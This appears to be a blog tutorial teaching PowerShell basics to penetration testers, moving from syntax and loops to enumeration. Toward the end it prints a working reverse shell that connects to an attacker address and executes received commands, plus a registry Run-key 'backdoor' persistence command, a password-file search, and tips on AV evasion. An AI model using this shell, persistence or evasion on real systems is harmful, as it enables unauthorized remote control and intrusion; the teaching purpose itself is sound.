PowerShell Scripting

📘 Table of Contents

  1. What is PowerShell?
  2. Why Pentesters Must Learn PowerShell
  3. Running PowerShell Scripts Safely
  4. Basic Syntax and Output
  5. Variables and Data Types
  6. User Input and Script Arguments
  7. Conditional Logic (if/else)
  8. Loops (for, foreach, while)
  9. Functions in PowerShell
  10. Working with Files and Output
  11. Networking and Enumeration Scripts
  12. Post-Exploitation Use Cases
  13. Real-World Offensive PowerShell Payloads
  14. Tips, Tricks & Pitfalls
  15. Practice Tasks

PowerShell is a scripting language and command-line shell designed for system administration and automation in Windows environments. Built on the .NET framework, it gives you deep access to the system — making it a power tool for pentesters.

  • Deep interaction with Windows internals
  • Bypass GUI limitations during post-exploitation
  • Enumerate users, groups, shares, services, and more
  • Use tools like PowerView, PowerUp, Nishang
  • Build stealthy payloads, persistence, and lateral movement scripts
Set-ExecutionPolicy Bypass -Scope Process       # Temporarily allow script execution (doesn’t affect system-wide policy)
.\script.ps1                                     # Run the PowerShell script in the current directory
Write-Output "Hello, world!"                    # Prints text to the console
"Hello again!"                                  # Implicit output — PowerShell will display it anyway
# This is a comment                            # Comments start with #
$name = "Wilko"                                 # String assignment
$port = 8080                                    # Integer assignment
$isAdmin = $true                                # Boolean (true/false)
Write-Output "Username: $name"                  # Referencing a variable inside a string
$name = Read-Host "Enter your name"             # Prompt the user for input
Write-Output "Hello, $name"                     # Output the value the user typed
param(
  [string]$ip,
  [int]$port
)

Write-Output "Target IP: $ip, Port: $port"       # Access parameters passed at runtime

Run it like:

.\myscript.ps1 -ip 192.168.1.100 -port 80        # Providing parameters when calling the script
if ($isAdmin) {
  Write-Output "You are admin"                  # Runs if $isAdmin is $true
} else {
  Write-Output "You are not admin"              # Runs if $isAdmin is $false
}
for ($i = 1; $i -le 5; $i++) {
  Write-Output "Attempt $i"                     # Repeats this block 5 times
}
$ips = "192.168.1.1", "192.168.1.2"
foreach ($ip in $ips) {
  Test-Connection $ip -Count 1                  # Ping each IP once
}
$count = 0
while ($count -lt 3) {
  Write-Output "Try #$count"                    # Loop continues while $count < 3
  $count++                                      # Increment counter
}
function Say-Hello {
  param([string]$Name)                          # Define a function with a parameter
  Write-Output "Hello, $Name"
}

Say-Hello -Name "Pentester"                     # Call the function with an argument
Get-Content "C:\users.txt"                      # Reads the content of a file
"New log entry" | Out-File "loot.txt"           # Writes to a file (overwrites)
Add-Content "loot.txt" "Another line"           # Appends a line to the file
Write-Output "Current user: $(whoami)"          # Get current user
Get-NetIPAddress                                # Show IP addresses
Get-WmiObject Win32_OperatingSystem             # Show OS details
Get-LocalUser                                   # List all local user accounts
Get-Process | Sort-Object CPU -Descending | Select-Object -First 5   # Show top 5 CPU-hogging processes
Get-ChildItem -Path C:\ -Recurse -ErrorAction SilentlyContinue |
Where-Object { $_.Name -match "password" }                          # Recursively find files with 'password' in the name
Get-ScheduledTask                                                  # List all scheduled tasks
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" `
-Name "backdoor" -Value "C:\evil\backdoor.exe"                     # Adds persistence by setting a startup entry
# WARNING: This is a basic reverse shell — easily detected by AV
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.3",4444);  # Connect to attacker machine
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};                                       # Create buffer
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){          # Read input from attacker
  $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);  # Decode command
  $sendback = (iex $data 2>&1 | Out-String );                        # Execute command
  $sendback2 = $sendback + "PS " + (pwd).Path + "> ";               # Prepare output
  $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);        # Encode response
  $stream.Write($sendbyte,0,$sendbyte.Length);                      # Send output to attacker
  $stream.Flush();
}
$client.Close()

✅ Use Get-Command to find available cmdlets
✅ Use Get-Help <cmdlet> for syntax help
✅ -ErrorAction SilentlyContinue suppresses noisy errors
✅ Use iex carefully — it evaluates strings as code
✅ Obfuscate for AV evasion (e.g., with Invoke-Obfuscation)


🎯 Try building scripts for:

  • Local user and group enumeration
  • SUID or writable service checker
  • Registry value searcher
  • Basic AV-evasion launcher
  • Persistence script that sets up a scheduled task

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top